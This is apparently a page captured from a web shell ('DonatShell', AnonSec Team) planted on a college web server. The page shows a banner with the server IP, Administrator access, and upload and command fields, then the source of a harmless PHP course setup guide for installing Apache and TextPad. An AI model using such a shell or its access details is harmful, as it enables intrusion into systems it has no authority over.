GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST1611/_Archive/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST1611/_Archive/CST1611Setup.php
<?
// CST1611Setup.php

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.

$thisFile=__FILE__; $thisLine=__LINE__; include('application.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('Course/courseInfo.phpinc');
$_SESSION['courseNumber'] = $courseNumber;
$title = "Setup Guide";
$headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title;
$pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title;
$pageMenu = 'Course/courseMenu.phpinc';
$js="driveReplace,div";
$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageHeader.phpinc');
?>
<script type="text/javascript">
var numberForms = 3;
var numberImages = 2;
var pageURL = '../Setup/drive_Selected.php';
setDebugOff();
</script>
<?
//$sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title;
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionHeader.phpinc');
?>
<p>
Setup your computer and install the software used in class.
<span class="normal">
<br />
I get a lot of calls from students who have something not work during the class setup.
About 90% of the time it is because they did not follow the instructions.
</span>
<br /><span class="bold error">Take your time and follow the instructions carefully!</span>
<span class="normal">
<br />The entire setup takes 10 to 90 minutes depending on bandwidth, computer speed, and student ability.
You should complete each setup page in its entirety but you can stop and restart between pages.
</span>
</p>
<p>
I suggest that you keep your class software and data on a drive partition other than the one your operating system is on.
<span class="normal">
<br />
The Windows operating system is vulnerable to failure. If your data is on the same drive partition as Windows it can become irretrievable if the OS fails.
<br />
If you have a leased laptop from the College you should put everything on the <b>D:</b> drive.
<br />
Take a look at your computer setup. If you have another hard drive partition that you can create your data folder and installations on please select it.
<br />
If you do not have another hard drive partition then select the C: drive.
<br />
If you are unsure then ask your Instructor.
<br />
In any case you should backup your work to a flash drive, external hard drive, or CD-RW whenever substantial work had been done.
</span>
<br />
<?
//if (!isset($_SESSION['userDefaultDrive']) || $_SESSION['userDefaultDrive'] == '') { $_SESSION['userDefaultDrive'] = 'D'; }
$driveNumber = ord($_SESSION['userDefaultDrive'])-65;
$driveColumn = $driveNumber % 13;
$driveRow = floor(($driveNumber+0.01)/13);
$driveRowYstart = $driveRow*24;
$driveColumnXstart = $driveColumn*37;
$offsetY = ($driveRowYstart); 
$offsetX = ($driveColumnXstart-480);
?>
<div style="margin-left:10px;">
Select the drive you will be using below: <span class="normal">(This will change the instructions to reflect the drive you selected)</span><br />
<map id="driveSelect" name="driveSelect">
	<area alt="A:" title="A: drive" shape="rect" coords="0,0,35,21" href="" onclick="getDrive('A'); return false;" />
	<area alt="B:" title="B: drive" shape="rect" coords="37,0,72,21" href="" onclick="getDrive('B'); return false;" />
	<area alt="C:" title="C: drive" shape="rect" coords="74,0,109,21" href="" onclick="getDrive('C'); return false;" />
	<area alt="D:" title="D: drive" shape="rect" coords="111,0,146,21" href="" onclick="getDrive('D'); return false;" />
	<area alt="E:" title="E: drive" shape="rect" coords="148,0,183,21" href="" onclick="getDrive('E'); return false;" />
	<area alt="F:" title="F: drive" shape="rect" coords="185,0,220,21" href="" onclick="getDrive('F'); return false;" />
	<area alt="G:" title="G: drive" shape="rect" coords="222,0,257,21" href="" onclick="getDrive('G'); return false;" />
	<area alt="H:" title="H: drive" shape="rect" coords="259,0,294,21" href="" onclick="getDrive('H'); return false;" />
	<area alt="I:" title="I: drive" shape="rect" coords="296,0,331,21" href="" onclick="getDrive('I'); return false;" />
	<area alt="J:" title="J: drive" shape="rect" coords="333,0,368,21" href="" onclick="getDrive('J'); return false;" />
	<area alt="K:" title="K: drive" shape="rect" coords="370,0,405,21" href="" onclick="getDrive('K'); return false;" />
	<area alt="L:" title="L: drive" shape="rect" coords="407,0,442,21" href="" onclick="getDrive('L'); return false;" />
	<area alt="M:" title="M: drive" shape="rect" coords="444,0,479,21" href="" onclick="getDrive('M'); return false;" />
	<area alt="N:" title="N: drive" shape="rect" coords="0,24,35,45" href="" onclick="getDrive('N'); return false;" />
	<area alt="O:" title="O: drive" shape="rect" coords="37,24,72,45" href="" onclick="getDrive('O'); return false;" />
	<area alt="P:" title="P: drive" shape="rect" coords="74,24,109,45" href="" onclick="getDrive('P'); return false;" />
	<area alt="Q:" title="Q: drive" shape="rect" coords="111,24,146,45" href="" onclick="getDrive('Q'); return false;" />
	<area alt="R:" title="R: drive" shape="rect" coords="148,24,183,45" href="" onclick="getDrive('R'); return false;" />
	<area alt="S:" title="S: drive" shape="rect" coords="185,24,220,45" href="" onclick="getDrive('S'); return false;" />
	<area alt="T:" title="T: drive" shape="rect" coords="222,24,257,45" href="" onclick="getDrive('T'); return false;" />
	<area alt="U:" title="U: drive" shape="rect" coords="259,24,294,45" href="" onclick="getDrive('U'); return false;" />
	<area alt="V:" title="V: drive" shape="rect" coords="296,24,331,45" href="" onclick="getDrive('V'); return false;" />
	<area alt="W:" title="W: drive" shape="rect" coords="333,24,368,45" href="" onclick="getDrive('W'); return false;" />
	<area alt="X:" title="X: drive" shape="rect" coords="370,24,405,45" href="" onclick="getDrive('X'); return false;" />
	<area alt="Y:" title="Y: drive" shape="rect" coords="407,24,442,45" href="" onclick="getDrive('Y'); return false;" />
	<area alt="Z:" title="Z: drive" shape="rect" coords="444,24,479,45" href="" onclick="getDrive('Z'); return false;" />
</map>
<div><img src="../Setup/drive_All2.png"  id="drivesImage" name="drivesImage" alt="Drives" usemap="#driveSelect" height="45" width="480" style="position:relative; z-index:0;"><img src="../Setup/drive_Selected.png" id="filterImage" name="filterImage" style="position:absolute; margin-left:<?=$offsetX?>px; margin-top:<?=$offsetY?>px; filter:alpha(opacity=45); -moz-opacity: 0.45; opacity: 0.45; z-index:1;" /></div>
<span class="normal"><form name="driveForm1" style="margin:0px; padding:0px; display:inline;" action="../Setup/drive_Selected.php" method="post"><input type="hidden" id="driveSelection" name="driveSelection" value="<?=$_SESSION['userDefaultDrive']?>" />You have selected the <input type="text" id="driveSelected1" value="<?=$_SESSION['userDefaultDrive']?>:" class="bold center" style="width:1.25em; border:0px;" /> drive.<!-- <input type="submit" value="See drive" /> --></form><div id="replaceDrive" name="replaceDrive" class="inline" style="display:none;"> Replace any instructions I give you that mention the <b>D:</b> drive with the <form name="driveForm2" style="margin:0px; padding:0px; display:inline;"><input type="text" id="driveSelected2" value="<?=$_SESSION['userDefaultDrive']?>:" class="bold center" style="width:1.25em; border:0px;" /></form> drive you selected.</div></span>
</div>
</p>

<ol class="instruction">
	<li>
		Create a <b>Data_WWW</b> folder on the root of your <form name="driveForm3" style="margin:0px; padding:0px; display:inline;"><input type="text" id="driveSelected3" value="<?=$_SESSION['userDefaultDrive']?>:" class="bold center" style="width:1.25em; border:0px;" /></form> drive. This will be the root folder that Apache will display in your browser as well as for all class activities.
		<br />
		<div style="position:relative; width:506px; height:387px;">
			<img src="../Setup/window.png" style="position:absolute; width:506px; height:387px; z-index:0" />
			<img src="../Setup/folder<?=$_SESSION['userDefaultDrive']?>.png" id="driveImage1" name="driveImage1" style="position:absolute; margin-left:53px; margin-top:94px; z-index:1;" />
			<img src="../Setup/pathData_WWW.png" style="position:absolute; margin-left:87px; margin-top:94px; z-index:1;" />
		</div>
	</li>
	<li>
		Create an <b>Install</b> folder inside the <b>Data_WWW</b> folder. This is where you will keep all of the installation files you download.
		<div style="position:relative; width:506px; height:387px;">
			<img src="../Setup/window.png" style="position:absolute; width:506px; height:387px; z-index:0" />
			<img src="../Setup/folder<?=$_SESSION['userDefaultDrive']?>.png" id="driveImage2" name="driveImage2" style="position:absolute; margin-left:53px; margin-top:94px; z-index:1;" />
			<img src="../Setup/pathInstall.png" style="position:absolute; margin-left:87px; margin-top:94px; z-index:1;" />
		</div>
	</li>
	<li>
		Create an <b><?=$courseNumber?></b> folder inside the <b>Data_WWW</b> folder. This is where you will keep all of your work for class.
		<div style="position:relative; width:506px; height:387px;">
			<img src="../Setup/window.png" style="position:absolute; width:506px; height:387px; z-index:0" />
			<img src="../Setup/folder<?=$_SESSION['userDefaultDrive']?>.png" id="driveImage3" name="driveImage3" style="position:absolute; margin-left:53px; margin-top:94px; z-index:1;" />
			<img src="../Setup/path<?=$courseNumber?>.png" style="position:absolute; margin-left:87px; margin-top:94px; z-index:1;" />
		</div>
	</li>
	<li>
		We need a way to control our web services.
		<br />
		Follow the instructions in the <a href="../Setup/WebServices/?dataFolder=Data_WWW&courseNumber=CST1611&courseTitle=Web Server Administration" target="_blank">Web Services Installation Guide</a> to download and install the Web Services software on your computer.
	</li>
	<li>
		We will using Apache web server to serve up our web pages to the browser.
		<br />
		Follow the instructions in the <a href="../Setup/Apache/?dataFolder=Data_WWW&courseNumber=CST1611&courseTitle=Web Server Administration" target="_blank">Apache Installation Guide</a> to download and install the Apache web server on your computer.
		<br />
		To view your web pages: open up a browser, type <b>localhost</b> into the address and then browse to your file.
	</li>
	<!-- 
	<li>
		We are going to use an editor called TextPad to write all of our web pages for this class.
		Follow the instructions in the <a href="../Setup/textpad/" target="_blank">Textpad Installation Guide</a> to download and install the Textpad editor on your computer.
		<br />
		To write your web pages: run Textpad, enter your code, and then save them with an .htm extenstion.
		<br />
		To edit an existing web page: a) right-click on the file and select Textpad from the menu or b) open Textpad then open the file or c) open Textpad and drag/drop the file there.
	 -->
	<!-- 
	 -->
	<li>
		We are going to use an editor called TextPad to edit the Apache configuration file: httpd.conf.
		<br />
		Follow the instructions in the <a href="../Setup/textpad/?dataFolder=Data_WWW&courseNumber=CST1611&courseTitle=Web Server Administration" target="_blank">Textpad Installation Guide</a> to download and install the Textpad editor on your computer.
	</li>
	<li>
		Now we need to setup TextPad to color code the httpd.conf using a syntax file.
		<br />
		Follow the instructions in the <a href="../Setup/textpad/?TextpadApacheDocumentClassSetup" target="_blank">Textpad Apache Document Class Setup</a> to download and configure Textpad to color code the httpd.conf file.
	</li>
	<!-- 
	<li>
		We will using MySQL 5 to store data for use by our PHP pages.
		<br />
		Follow the instructions in the <a href="../Setup/MySQL/" target="_blank">MySQL Installation Guide</a> to download and install MySQL 5 on your computer.
	</li>
	<li>
		We will using PHP 5 to process our PHP pages.
		<br />
		Follow the instructions in the <a href="../Setup/PHP/" target="_blank">PHP Installation Guide</a> to download and install PHP 5 on your computer.
	</li>
	<li>
		You can configure Apache and Windows to directly access your <b><?=$courseNumber?></b> folder.
		<br />
		Follow the instructions in the <a href="<?=$courseNumber?>FolderSetup.php"><?=$courseNumber?> Folder Setup Guide</a> to configure Apache and Windows for this.
	</li>
	 -->
</ol>
If you have created the directories and installed the software above then that's it for <?=$courseNumber?> class setup.
You can <a href="javascript:window.open('','_parent','');window.close();" onclick="window.open('','_parent','');window.close();return false;">close</a> this window.
<?
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionFooter.phpinc');

$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageFooter.phpinc');

?>

Anon7 - 2022
AnonSec Team